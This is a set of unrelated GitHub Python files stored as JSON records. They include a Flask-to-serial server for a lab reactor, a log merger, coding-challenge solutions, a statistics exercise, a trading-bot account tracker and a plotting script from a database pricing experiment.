{"seq_id":"33326747341","text":"#Meant to be used in the raspberries\nfrom crypt import methods\nfrom urllib import response\nfrom flask import Flask, request, jsonify\nfrom serial import Serial\nimport serial.tools.list_ports as list_ports\nfrom time import sleep\nfrom pyduino.utils import bcolors\nimport logging\nimport re\nimport os\nimport socket\n\nlogging.basicConfig(filename='slave.log', filemode='w', level=logging.DEBUG)\n\nSTEP = 1/8.0\nHEADER_DELAY = 5\n\nclass ReactorServer(Flask):\n    \"\"\"\n    Slave of HTTP Server to Serial handler.\n    \"\"\"\n\n    def __init__(self, serial_port = None, baudrate=9600,*args,**kwargs):\n        logging.debug(\"Creating server.\")\n        super().__init__(*args,**kwargs)\n        self.connected = False\n        self.reactor_id = None\n        self.port = serial_port\n        self.baudrate = baudrate\n\n        self.serial_connect()\n\n        #Routes\n        @self.route(\"/\")\n        def root():\n            return \"REACTOR SERVER\", 200\n\n        @self.route(\"/connect\")\n        def http_connect():\n            self.connect()\n            return \"OK\", 200\n        \n        @self.route(\"/reset\")\n        def http_reset():\n            self.reset()\n            return \"OK\", 200\n        \n        @self.route(\"/reboot\")\n        def reboot():\n            os.system(\"sudo reboot\")\n            return \"OK\", 200\n\n        @self.route(\"/send\",methods=['POST'])\n        def http_send():\n            content = request.json\n            logging.info(f\"Received request: {content['command']}\")\n            if content['await_response']:\n                response = self.send(content[\"command\"],delay=content[\"delay\"])\n            else:\n                response = self._send(content[\"command\"])\n            return jsonify({\"response\":response}),200\n        \n        @self.route(\"/ping\")\n        def ping():\n            \"\"\"\n            Returns reactor id based on hostname. It is assumed that the id number is the last set of digits at the end of the hostname string.\n            \"\"\"\n            # if not self.reactor_id:\n            #     if not self.connected:\n            #         self.connect()\n            #     response = self.send(\"ping\",delay=1)\n            #     self.reactor_id = int(re.findall(r\"\\d+?\",response)[0])\n            digit_regex = r\"(\\d+)(?!.*\\d)\"\n            hostname = socket.gethostname()\n            digits = int(re.findall(digit_regex,hostname)[0])\n            self.reactor_id = digits\n            return jsonify({\"id\":self.reactor_id,\"serial_port\":self.port,\"hostname\":os.uname().nodename})         \n\n    def __delete__(self, _):\n        self.serial.__del__()\n    \n    def serial_connect(self):\n        if self.port is None:\n            logging.debug(\"No serial port specified. Searching for available devices.\")\n            self.available_ports = list_ports.comports()\n            self.available_ports = list(filter(lambda x: (x.vid,x.pid) in {(1027,24577),(9025,16),(6790,29987)},self.available_ports))\n            self.port = self.available_ports[0].device\n        self.serial = Serial(self.port, baudrate=self.baudrate, timeout=STEP)\n        logging.info(f\"Connected to serial port {self.serial}.\")\n\n    def connect(self,delay=STEP):\n        \"\"\"\n        Connection begin.\n        \"\"\"\n        sleep(HEADER_DELAY)\n        self._recv(delay)\n        self._send(\"quiet_connect\")\n        self.connected = True\n\n    def reset(self):\n        \"\"\"\n        Resets connection.\n        \"\"\"\n        self.serial.flush()\n        self.serial.close()\n        self.serial.open()\n        self.connected = True\n\n    def close(self):\n        \"\"\"\n        Interrompe conexão.\n        \"\"\"\n        if self.serial.is_open:\n            self.send(\"fim\")\n            self.serial.close()\n\n    def send(self, msg, delay=0, recv_delay=STEP):\n        \"\"\"\n        Envia mensagem para o reator e retorna resposta.\n\n        Args:\n            delay (int): Delay in seconds between sending and reading.\n            recv_delay (int): Delay in seconds sent to recv.\n        \"\"\"\n        if not self.connected:\n            self.connect()\n        self._send(msg)\n        sleep(delay)\n        return self._recv(recv_delay)\n\n    def _send(self, msg):\n        self.serial.write(msg.encode('ascii') + b'\\n\\r')\n\n    def _recv(self,delay=STEP):\n        out = []\n        for _ in range(256):\n            sleep(delay)\n            new = self.serial.read_until()\n            if new:\n                new = new.decode('ascii').strip(\"\\n\").strip(\"\\r\")\n                out.append(new)\n            if out and not new:\n                resp = ''.join(out)\n                return resp\n    \n    def __repr__(self):\n        return f\"{bcolors.OKCYAN}<Reactor at {self.port}>{bcolors.ENDC}\"\n\n    def set(self, data=None, **kwargs):\n        \"\"\"\n        Define o valor de todas as variáveis a partir de um dicionário.\n\n        Exemplo:\n            >>> reator.set({\"440\": 50, \"brilho\": 100})\n        \"\"\"\n        data = {**(data or {}), **kwargs}\n        args = \",\".join(f'{k},{v}' for k, v in data.items())\n        cmd = f\"set({args})\"\n        self._send(cmd)\n\n    def get(self, key=None):\n        \"\"\"\n        Retorna o valor de uma ou mais variáveis.\n        \"\"\"\n        if key is None:\n            return self._get_all()\n        if isinstance(key, str):\n            key = [key]\n        return\n\n    def _get_all(self):\n        resp = self.send(\"get\")\n\nif __name__==\"__main__\":\n    rs = ReactorServer(import_name=\"Pyduino Slave Server\")\n    rs.run(port=5000,host=\"0.0.0.0\")","repo_name":"fotobiolab-unb/pyduino-parallel","sub_path":"pyduino/slave.py","file_name":"slave.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26394439794","text":"from time import mktime, strptime\ndata = []\ndata1 = open('../data/SystemBLogs.txt').readlines()\ndata2 = open('../data/SystemCLogs.txt').readlines()\nfmt = '%b %d %H:%M:%S %Y'\nfor line in data1+data2:\n    # t is a struct_time tuple\n    t = strptime(line[4:24], fmt)\n\n    # calculate seconds since the epoch\n    t_epoch = mktime(t)\n\n    # append data\n    data.append([t_epoch, line])\n\ndata = [line[1] for line in sorted(data)]\nopen('../data/SystemsBCLogs.txt', 'wt').writelines(data)\n","repo_name":"freephys/Beginning-Python-Visualization","sub_path":"Chapter05/src/combine_epoch.py","file_name":"combine_epoch.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"}
{"seq_id":"21143089050","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\nsys.setrecursionlimit(10**9)\n\ndef dfs(u,p,s,f):\n    if f == 0:\n        ans[0] = s\n    else:\n        ans[1] = max(ans[1], s) \n\n    if f == 0 and len(graph[u]) > 2-int(u==r): \n        f, s = 1, 0\n    for v, w in graph[u]:\n        if v == p: continue\n        dfs(v,u,s+w,f)\n\n\nn, r = map(int,input().split())\ngraph = [[] for _ in range(n+1)]\n\nfor _ in range(n-1):\n    a,b,c = map(int,input().split())\n    graph[a].append((b,c))\n    graph[b].append((a,c))\n\nans = [0, 0]\n\ndfs(r,r,0,0)\n\nprint(ans[0],ans[1])\n","repo_name":"cpwoo/CodeTest","sub_path":"Python/boj/tree/20924.py","file_name":"20924.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"12799220297","text":"# https://www.acmicpc.net/problem/4796\n\nn = 1\nresult = 0\n\nwhile True:\n  l, p, v = map(int, input().split())\n\n  if l == 0 and p == 0 and v == 0:\n    break\n\n  if l < v % p:\n    result = (v // p) * l + l\n  else:\n    result = (v // p) * l + (v % p)\n\n  print('Case ', n, ': ', result, sep='')\n  n += 1","repo_name":"kkwongs/PS","sub_path":"백준/그리디/캠핑.py","file_name":"캠핑.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"7744121043","text":"import plotly.graph_objects as go\r\nimport plotly.figure_factory as ff\r\nimport statistics as ss\r\nimport pandas as pd\r\nimport random\r\n\r\nfile1 = pd.read_csv(\"medium_data.csv\")\r\ndata = file1[\"reading_time\"].to_list()\r\npopulation_mean = ss.mean(data)\r\n\r\ndef random_set_of_mean(counter):\r\n    dataset = []\r\n    for i in range(0, counter):\r\n        random_index = random.randint(0, len(data))\r\n        value = data[random_index]\r\n        dataset.append(value)\r\n    mean = ss.mean(dataset)\r\n    return mean\r\n\r\ndef show_fig(mean_list):\r\n    daf = mean_list\r\n    fig = ff.create_distplot([daf], [\"time\"], show_hist = False)\r\n    fig.show()\r\n\r\nmean_list = []\r\nfor i in range(0, 100):\r\n    set_of_mean = random_set_of_mean(30)\r\n    mean_list.append(set_of_mean)\r\nshow_fig(mean_list)\r\n\r\nstdev = ss.mean(mean_list)\r\nmean = ss.mean(mean_list)\r\n\r\nfirst_stdev_start, first_stdev_end = mean-stdev, mean+stdev\r\nsecond_stdev_start, second_stdev_end = mean-(2*stdev), mean+(2*stdev)\r\nthird_stdev_start, third_stdev_end = mean-(3*stdev), mean+(3*stdev)\r\nprint(\"std1\", first_stdev_start, first_stdev_end)\r\nprint(\"std2\", second_stdev_start, second_stdev_end)\r\nprint(\"std3\", third_stdev_start, third_stdev_end)\r\n\r\nfig = ff.create_distplot([mean_list], [\"time\"], show_hist = False)\r\nfig.add_trace(go.Scatter(x = [mean, mean], y = [0, 0.6], mode = \"lines\", name = \"MEAN\"))\r\nfig.add_trace(go.Scatter(x = [first_stdev_start, first_stdev_start], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 1 START\"))\r\nfig.add_trace(go.Scatter(x = [first_stdev_end, first_stdev_end], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 1 END\"))\r\nfig.add_trace(go.Scatter(x = [second_stdev_start, second_stdev_start], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 2 START\"))\r\nfig.add_trace(go.Scatter(x = [second_stdev_end, second_stdev_end], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 2 END\"))\r\nfig.add_trace(go.Scatter(x = [third_stdev_start, third_stdev_start], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 3 START\"))\r\nfig.add_trace(go.Scatter(x = [third_stdev_end, third_stdev_end], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 3 END\"))\r\nfig.show()\r\n\r\ndf = pd.read_csv(\"sample_2.csv\")\r\ndata2 = df[\"reading_time\"].to_list()\r\nmean_of_sample2 = ss.mean(data2)\r\nprint(\"Mean of sample 2:- \", mean_of_sample2)\r\nfig = ff.create_distplot([mean_list], [\"time\"], show_hist = False)\r\nfig.add_trace(go.Scatter(x = [mean, mean], y = [0, 0.6], mode = \"lines\", name = \"SAMPLING MEAN\"))\r\nfig.add_trace(go.Scatter(x = [mean_of_sample2, mean_of_sample2], y = [0, 0.6], mode = \"lines\", name = \"MEAN OF SAMPLE 2\"))\r\nfig.add_trace(go.Scatter(x = [first_stdev_end, first_stdev_end], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 1 END\"))\r\nfig.add_trace(go.Scatter(x = [second_stdev_end, second_stdev_end], y = [0, 0.6], mode = \"lines\", name = \"STANDARD DEVIATION 2 END\"))\r\nfig.show()\r\n\r\nz_score = (mean_of_sample2 - mean)/stdev\r\nprint(\"Z-score is \", z_score)","repo_name":"Prathmon/Project111","sub_path":"python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35320099270","text":"import time\nimport threading\nimport datetime\n\nfrom numpy import place\n\nfrom SystemFlg import SystemFlg\nfrom PrivateWS import PrivateWS, PrivateWSData\nfrom MarketData import MarketData\nfrom Trade import Trade\nfrom LineNotification import LineNotification\n\n'''\nOrder削除のタイミング：\n・leaves_qty=0となった時、order_status = Cancelledとなった時。get_orderで取得した情報を確認しないといけない？\n理屈上は、cancelはBotの指示により行われるので正常にキャンセル完了した段階でcancelled_orderを呼び出せばBotAccountで処理できる。\n\n\nFee計算：\n・約定更新の度にexec_feeを取得してorder_cum_exec_feeに記録。order削除するタイミングで反映。\nPl計算：\n・holdingがありholding side != exec_dataのsideの時、exec priceを使って都度plを計算する。\n'''\nclass BotAccount:\n    def __init__(self, account_id) -> None:\n        self.account_id = account_id\n        self.__initialize_order()\n        self.__initialize_holding()\n        self.__initialize_performance()\n        self.__initialize_log()\n\n    def __initialize_order(self):\n        self.__lock_order_data = threading.Lock()\n        self.order_id = []\n        self.order_side = {}\n        self.order_price = {}\n        self.order_qty = {}\n        self.order_leaves_qty = {}\n        self.order_type = {}\n        self.order_dt= {}\n        self.order_status = {} #New, Partially Filled\n        self.order_cum_exec_fee = {}\n        self.order_checked_exec_id = {} #{order_id:[checked_exec_ids]}\n\n    def __initialize_holding(self):\n        self.__lock_holding_data = threading.Lock()\n        self.holding_side = ''\n        self.holding_price = 0\n        self.holding_size = 0\n        self.holding_dt = ''\n        self.holding_period = 0\n\n    def __initialize_performance(self):\n        self.__lock_performance_data = threading.Lock()\n        self.total_pl = 0\n        self.total_pl_ratio = 0\n        self.unrealized_pl = 0\n        self.realized_pl = 0\n        self.total_fee = 0\n        self.num_trade = 0 #holding positionが変わったタイミングをカウント\n        self.num_win = 0\n        self.num_buy = 0\n        self.num_sell = 0\n        self.win_rate = 0\n        self.num_maker_order = 0 #現状正確な把握が難しい\n\n    def __initialize_log(self):\n        self.__lock_log_data = threading.Lock()\n        self.__tmp_trade_log = []\n        self.trade_log = {}\n        self.total_pl_log = []\n        self.total_pl_ratio_log = []\n        self.unrealized_pl_log = []\n        self.realized_pl_log = []\n        self.total_fee_log = []\n\n    def __remove_order_data(self, oid):\n        with self.__lock_order_data:\n            self.order_id.remove(oid)\n            del self.order_checked_exec_id[oid]\n            del self.order_cum_exec_fee[oid]\n            del self.order_dt[oid]\n            del self.order_leaves_qty[oid]\n            del self.order_price[oid]\n            del self.order_qty[oid]\n            del self.order_status[oid]\n            del self.order_type[oid]\n            del self.order_side[oid]\n\n    def get_order_data(self, oid):\n        with self.__lock_order_data:\n            if oid in self.order_id:\n                return {'id':oid, 'dt':self.order_dt[oid] ,'side':self.order_side[oid], 'price':self.order_price[oid], 'qty':self.order_qty[oid]\n                ,'leaves_qty':self.order_leaves_qty[oid], 'type':self.order_type[oid], 'status':self.order_status[oid], 'fee':self.order_cum_exec_fee[oid]}\n            else:\n                print('BotAccount.get_order_data: Unknown order id !', oid)\n                LineNotification.send_message('BotAccount.get_order_data: Unknown order id ! - ' +oid)\n                return {'id':'', 'dt':'' ,'side':'', 'price':0, 'qty':0,'leaves_qty':0, 'type':'', 'status':'', 'fee':0}\n\n    def get_last_order_data(self):\n        with self.__lock_order_data:\n            if len(self.order_id) > 0:\n                oid = self.order_id[-1]\n                return {'id':oid, 'dt':self.order_dt[oid] ,'side':self.order_side[oid], 'price':self.order_price[oid], 'qty':self.order_qty[oid]\n                ,'leaves_qty':self.order_leaves_qty[oid], 'type':self.order_type[oid], 'status':self.order_status[oid], 'fee':self.order_cum_exec_fee[oid]}\n            else:\n                return {'id':'', 'dt':'' ,'side':'', 'price':0, 'qty':0,'leaves_qty':0, 'type':'', 'status':'', 'fee':0}\n                \n    def get_holding_data(self):\n        with self.__lock_holding_data:\n            return {'dt':self.holding_dt, 'side':self.holding_side, 'size':self.holding_size, 'price':self.holding_price, 'period':self.holding_period}\n\n    def get_performance_data(self):\n        with self.__lock_performance_data:\n            return {'total_pl':self.total_pl, 'total_pl_ratio':self.total_pl_ratio, 'unrealized_pl':self.unrealized_pl, 'total_fee':self.total_fee, 'num_trade':self.num_trade,\n            'num_win':self.num_win, 'num_buy':self.num_buy, 'num_sell':self.num_sell, 'win_rate':self.win_rate, 'num_maker_order':self.num_maker_order}\n\n\n    def entry_order(self, id, side, price, qty, type, message):\n        with self.__lock_order_data:\n            self.order_id.append(id)\n            self.order_side[id] = str(side).lower()\n            self.order_price[id] = round(float(price),1) if str(type).lower() == 'limit' else 0 #market orderのAPI response priceは板の上下限値になる\n            self.order_qty[id] = int(qty)\n            self.order_checked_exec_id[id] = []\n            self.order_cum_exec_fee[id] = 0\n            self.order_type[id] = str(type).lower()\n            self.order_dt[id] = datetime.datetime.now()\n            self.order_leaves_qty[id] = int(qty)\n            self.order_status[id] = 'New'\n            print('#', self.account_id, ' - ', message, type, side, ' @', price, ' x', qty)\n            LineNotification.send_message('#' + str(self.account_id) + ' - ' + message+ type + ' ' + side+' @'+ str(price)+ ' x' + str(qty))\n            self.__tmp_trade_log.append('#' + str(self.account_id) + ' - ' + message+ side+' @'+ str(price)+ ' x' + str(qty))\n\n    def cancel_order(self, oid):\n        self.__remove_order_data(oid)\n        self.__tmp_trade_log.append('#'+ str(self.account_id) + ' - cancelled order.')\n        print('#',self.account_id, ' - cancelled order.')\n        LineNotification.send_message('#'+ str(self.account_id) + ' - cancelled order.')\n\n    def update_order_price(self, oid, new_price):\n        with self.__lock_order_data:\n            if oid in self.order_id:\n                self.__tmp_trade_log.append('#' + str(self.account_id) + ' - updated order price from ' + str(self.order_price[oid]) + ' to ' + str(new_price))\n                print('#',self.account_id, ' - updated order price from', self.order_price[oid], ' to ', new_price)\n                LineNotification.send_message('#' + str(self.account_id) + ' - updated order price from ' + str(self.order_price[oid]) + ' to ' + str(new_price))\n                self.order_price[oid] = round(float(new_price),1)\n            else:\n                self.__tmp_trade_log.append('#' + str(self.account_id) + ' - updated order price but order_id is not existed in BotAccount !')\n                print('#',self.account_id, ' - updated order price but order_id is not existed in BotAccount !')\n                LineNotification.send_message('#' + str(self.account_id) + ' - updated order price but order_id is not existed in BotAccount !')\n\n    def update_order_amount(self, oid, new_amount):\n        with self.__lock_order_data:\n            if oid in self.order_id:\n                self.__tmp_trade_log.append('#' + str(self.account_id) + ' - updated order amount from ' + str(self.order_qty[oid]) + ' to ' + str(new_amount))\n                print('#',self.account_id, ' - updated order amount from', self.order_qty[oid], ' to ', new_amount)\n                LineNotification.send_message('#' + str(self.account_id) + ' - updated order amount from ' + str(self.order_qty[oid]) + ' to ' + str(new_amount))\n                self.order_leaves_qty[oid] += int(new_amount) - int(self.order_qty[oid])\n                self.order_qty[oid] = int(new_amount)\n            else:\n                self.__tmp_trade_log.append('#' + str(self.account_id) + ' - updated order price but order_id is not existed in BotAccount !')\n                print('#',self.account_id, ' - updated order price but order_id is not existed in BotAccount !')\n                LineNotification.send_message('#' + str(self.account_id) + ' - updated order price but order_id is not existed in BotAccount !')\n\n    '''\n    new entry, additional entry, opposite entryを識別して適切にholding dataを更新\n    '''\n    def __update_holding_data_execution(self, side, executed_price, executed_qty, pl):\n        with self.__lock_holding_data:\n            if self.holding_side == '': #new entry\n                self.holding_side = str(side).lower()\n                self.holding_price = executed_price\n                self.holding_period = 0\n                self.holding_size = int(executed_qty)\n                self.__num_trade_counter(side, pl)\n            elif self.holding_side == side: #additional entry\n                self.holding_price = (self.holding_price * self.holding_size + executed_price * executed_qty) / (self.holding_size + executed_qty)\n                self.holding_size += int(executed_qty)\n            else: #exit execution\n                if self.holding_size == executed_qty: #exited all position\n                    self.__num_trade_counter(side, pl)\n                    self.__initialize_holding()\n                else: #exit and opposite entry\n                    self.holding_side = str(side).lower()\n                    self.holding_size = int(executed_qty) - self.holding_size\n                    self.holding_price = executed_price\n                    self.holding_dt = datetime.datetime.now()\n                    self.holding_period =0\n                    self.__num_trade_counter(side, pl)\n\n    def __num_trade_counter(self, side, pl):\n        self.num_trade += 1\n        self.num_win += 1 if pl >0 else 0\n        if side == 'buy':\n            self.num_buy += 1\n        else:\n            self.num_sell += 1\n\n    '''\n\n    '''\n    def __update_order_data_execution(self, oid, executed_qty, leaves_qty, executed_fee, execution_id):\n        if self.order_leaves_qty[oid] < executed_qty: #Partially Executed\n            with self.__lock_order_data:\n                self.order_leaves_qty[oid] = int(leaves_qty)\n                self.order_cum_exec_fee[oid] += executed_fee\n                self.order_checked_exec_id[oid].append(execution_id)\n                self.order_status[oid] = 'Partially Filled'\n        elif self.order_leaves_qty[oid] == executed_qty: #Fully executed\n            self.__remove_order_data(oid)\n        else:\n            print('BotAccount-', self.account_id, ': Larger qty was executed !')\n            LineNotification.send_message('BotAccount-'+ str(self.account_id) +  ': Larger qty was executed !')\n            self.__remove_order_data(oid)\n                \n    \n    def __add_log(self, i):\n        with self.__lock_log_data:\n            self.trade_log[i] = self.__tmp_trade_log\n            self.total_pl_log.append(self.total_pl)\n            self.total_pl_ratio_log.append(self.total_pl_ratio)\n            self.unrealized_pl_log.append(self.unrealized_pl)\n            self.realized_pl_log.append(self.realized_pl)\n            self.total_fee_log.append(self.total_fee)\n            self.__tmp_trade_log = []\n\n    def move_to_next(self, dt, i, ohlc_df, order_size):\n        if self.holding_side != '':\n            self.unrealized_pl = self.holding_size * (self.holding_price - ohlc_df['close'].iloc[-1]) / self.holding_price if self.holding_side == 'buy' else self.holding_size * (self.holding_price - ohlc_df['close'].iloc[-1]) / self.holding_price\n        else:\n            self.unrealized_pl = 0\n        self.total_pl = self.unrealized_pl + self.realized_pl - self.total_fee\n        self.total_pl_ratio = round(self.total_pl / order_size, 6)\n        if self.num_trade > 0:\n            self.win_rate = round(self.num_win / self.num_trade, 4)\n        else:\n            self.win_rate = 0\n        self.num_maker_order = 0\n        self.holding_period += 1\n        self.__add_log(i)\n\n    '''\n    botから与えられるTrade.get_executions()で取得できる直近の約定データにorder idが含まれており、未処理のexec_idか否かを確認する。\n    '''\n    def check_execution(self, exec_list):\n        for d in exec_list:\n            if len(self.order_id) == 0:\n                break\n            if d['info']['order_id'] in self.order_id: #該当するorder idを保有中\n                if d['info']['exec_id'] not in self.order_checked_exec_id[d['info']['order_id']]: #約定idを未確認の時\n                    self.__process_execution(d)\n\n\n    '''\n    約定の度に都度fee, pl, order, holdingを更新。\n\n    前提条件：\n    ・未確認のexec_idが確認済でorder_idを保有中\n    '''\n    def __process_execution(self, exec_dict):\n        oid = exec_dict['info']['order_id']\n        if int(exec_dict['info']['leaves_qty']) != self.order_leaves_qty[oid]:\n            od = self.get_order_data(oid)\n            executed_qty = int(od['leaves_qty']) - int(exec_dict['info']['leaves_qty'])\n            executed_fee = float(exec_dict['info']['exec_fee']) * float(exec_dict['info']['exec_price'])\n            fee = self.__calc_fee(float(exec_dict['info']['exec_fee']), float(exec_dict['info']['exec_price']))\n            pl = self.__calc_realized_pl(exec_dict['info']['side'], float(exec_dict['info']['exec_price']), int(exec_dict['info']['exec_qty']))\n            self.__update_order_data_execution(oid, int(exec_dict['info']['exec_qty']), int(exec_dict['info']['leaves_qty']), fee, exec_dict['info']['exec_id'])\n            self.__update_holding_data_execution(exec_dict['info']['side'], float(exec_dict['info']['exec_price']), int(exec_dict['info']['exec_qty']), pl)\n            print('BotAccount-', self.account_id, ': Executed ', exec_dict['type'], '-', exec_dict['info']['side'], ' order ', '@', float(exec_dict['info']['exec_price']), ' x', int(exec_dict['info']['exec_qty']), ' pl=', pl)\n            LineNotification.send_message('BotAccount-' + str(self.account_id) + ': Executed ' + exec_dict['type']+ '-'+ exec_dict['info']['side']+ ' order '+ '@'+ str(float(exec_dict['info']['exec_price']))+ ' x'+ str(int(exec_dict['info']['exec_qty']))+ ' pl='+ str(pl))\n        else:\n            print('BotAccount-',self.account_id, ':leaves_qty is not matched !')\n            print('execution data:')\n            print(exec_dict)\n            print('order data:')\n            print(self.get_order_data(oid))\n            LineNotification.send_message('BotAccount-' + str(self.account_id) + ':leaves_qty is not matched !')\n\n    def __calc_fee(self, exec_fee, exec_price):\n        fee = exec_fee * exec_price\n        with self.__lock_performance_data:\n            self.total_fee += fee\n        return fee\n\n    def __calc_realized_pl(self, exec_side, exec_price, exec_qty):\n        if self.holding_side != '' and self.holding_side != exec_side:\n            pl = exec_qty *  (exec_price - self.holding.price if self.holding_side == 'buy' else self.holding.price - exec_price)\n            with self.__lock_performance_data:\n                self.realized_pl += pl\n            return pl\n        else:\n            return 0","repo_name":"alunfes/bybit-bot2","sub_path":"BotAccount.py","file_name":"BotAccount.py","file_ext":"py","file_size_in_byte":15473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"1656199264","text":"__author__ = 'shaleen'\nimport os, sys\nsys.path.append(os.path.dirname(os.getcwd()))\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nfrom integration import dbutils\nfrom supportsetgenerator import Generator\nimport QueryLister\nimport re\nimport pickle\nfrom matplotlib import rc_file\nrc_file('../experiments/matplotlibrc-singlecolumn')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport matplotlib as mpl\n\nmpl.rcParams['figure.figsize'] = 3.5, 1.95\n\nclass Combiner:\n\n    g = Generator.Generator()\n    q = QueryLister.Query()\n    query = 'select Code, ID from Country;'\n    dbutils.DBUtils.cursor.execute(query)\n    res = dbutils.DBUtils.cursor.fetchall()\n    dictcodeid = {}\n    for i in range(0, len(res)):\n        dictcodeid[res[i][0]] = res[i][1]\n    try:\n        os.remove('benchmarkselectsupportsize.pdf')\n    except OSError:\n        pass\n    def Query1(self, u, size):\n        with open('supportset'+str(size)+'.txt', 'rb') as f:\n            support_set = pickle.load(f)\n        support_set_value = support_set[3]\n        support_set_undo_value = support_set[2]\n        support_set_undo = support_set[1]\n        support_set = support_set[0]\n        disagreement = 0\n        for i in range(0, len(support_set)):\n            ele_1 = support_set[i]\n            ele_undo_1 = support_set_undo[i]\n            ele_undo_1_value = support_set_undo_value[i]\n            ele_1_value = support_set_value[i]\n            if self.willOutputChangeQuery1(ele_1, ele_undo_1, ele_undo_1_value, ele_1_value, u) == False:\n                None\n            else:\n                disagreement += 1\n        return float(disagreement)*100/size\n\n    def willOutputChangeQuery1(self, ele_1, ele_undo_1, ele_undo_1_value, ele_1_value, u):\n        code_changed = re.search(r\"Code = \\'(.*)\\'\", ele_1[0]).group(1)\n        if self.dictcodeid[code_changed] <= u:\n            return True\n        else:\n            return False\n\n    def plotgraph(self):\n        mpl.rcParams['figure.figsize'] = 2.8, 1.95\n        fig, ax = plt.subplots()\n        ax.set_ylim([0, 105])\n        ax.set_xlim([1, 239])\n        #plt.gca().yaxis.grid(which='major', linestyle='--', linewidth=0.3)\n        ax.yaxis.set_ticks(np.arange(0, 105, 20))\n        #ax.yaxis.set_ticks(np.arange(0, 100, 2), minor=True)\n        ax.xaxis.set_ticks([1,32,64,128,239])\n        ax.grid(which='minor', alpha=0.2)\n        ax.grid(which='major', alpha=0.5)\n        plt.gca().xaxis.grid(which='major', linestyle='-', linewidth=0.5, alpha=0.2)\n        ax.tick_params(\n                axis='x',          # changes apply to the x-axis\n                which='major',      # both major and minor ticks are affected\n                bottom='on',      # ticks along the bottom edge are off\n                top='off',         # ticks along the top edge are off\n                direction='out',\n                labelbottom='on') # labels along the bottom edge are off\n\n        ax.tick_params(\n                axis='y',\n                which='major',\n                left='on',\n                right='off',\n                direction='out')\n        idealsel = [0, 100/239,300/239,700/239,1500/239,3100/239,6300/239,12700/239, 100]\n        disagsel10 = [self.Query1(1,10),self.Query1(2,10),self.Query1(4,10),self.Query1(8,10),self.Query1(16,10),\n                      self.Query1(32,10),self.Query1(64,10),self.Query1(128,10),self.Query1(239,10)]\n        disagsel100 = [self.Query1(1,100),self.Query1(2,100),self.Query1(4,100),self.Query1(8,100),self.Query1(16,100),\n                      self.Query1(32,100),self.Query1(64,100),self.Query1(128,100),self.Query1(239,100)]\n        disagsel1000 = [self.Query1(1,1000),self.Query1(2,1000),self.Query1(4,1000),self.Query1(8,1000),self.Query1(16,1000),\n                      self.Query1(32,1000),self.Query1(64,1000),self.Query1(128,1000),self.Query1(239,1000)]\n        a = [math.pow(2,x) for x in range(0,8)]\n        a.append(239)\n        ax.plot(a, disagsel10, color='b', marker='x', markersize=2)\n        ax.plot(a, disagsel100, color='r', marker='s', markersize=2)\n        ax.plot(a, disagsel1000, color='g', marker='8', markersize=2)\n        ax.plot(a, idealsel, color='m', marker='v', markersize=2)\n        plt.ylabel(\"Price\")\n        plt.grid(True)\n        plt.xlabel(\"$u$ parameter in $Q^{\\sigma}_u$\")\n        lgd = plt.legend(['10','100','1000', 'Ideal price'], loc='lower right', ncol=1, bbox_to_anchor=(1, 0),prop={'size':6})\n        plt.savefig('benchmarkselectsupportsize.pdf', bbox_extra_artists=(lgd,), bbox_inches='tight')\n\n\nif __name__ == \"__main__\":\n    c = Combiner()\n    c.plotgraph()\n\n\n\n\n","repo_name":"shaleen/SIGMOD17Reproducibility","sub_path":"integration/PriceSelectivity.py","file_name":"PriceSelectivity.py","file_ext":"py","file_size_in_byte":4586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"39453545203","text":"from A.B import *\nS(17, 'azder', 'sample_')\n\ndef combinations(array, r):\n    for i in range(len(array)):\n        if r == 1: # 종료 조건\n            yield [array[i]]\n        else:\n            for next in combinations(array[i+1:], r-1):\n                yield [array[i]] + next\n\n\nT = int(input())\nfor test_case in range(1, T + 1):\n    n = int(input())\n    board = [list(map(int, input().split())) for _ in range(n)]\n    ans = 10e999\n    for case in combinations(range(n),n//2):\n        food1 = 0\n        for i in case:\n            for j in case:\n                food1 += board[i][j]\n        food2 = 0\n        case2 = set(range(n)) - set(case)\n        for i in case2:\n            for j in case2:\n                food2 += board[i][j]\n        ans = min(ans, abs(food1 - food2))\n\n    print(f'#{test_case} {ans}')\n\nE(17, 'azder', 'sample_')","repo_name":"kimansol/Algorithm-2022","sub_path":"SSAFY/14069_요리.py","file_name":"14069_요리.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
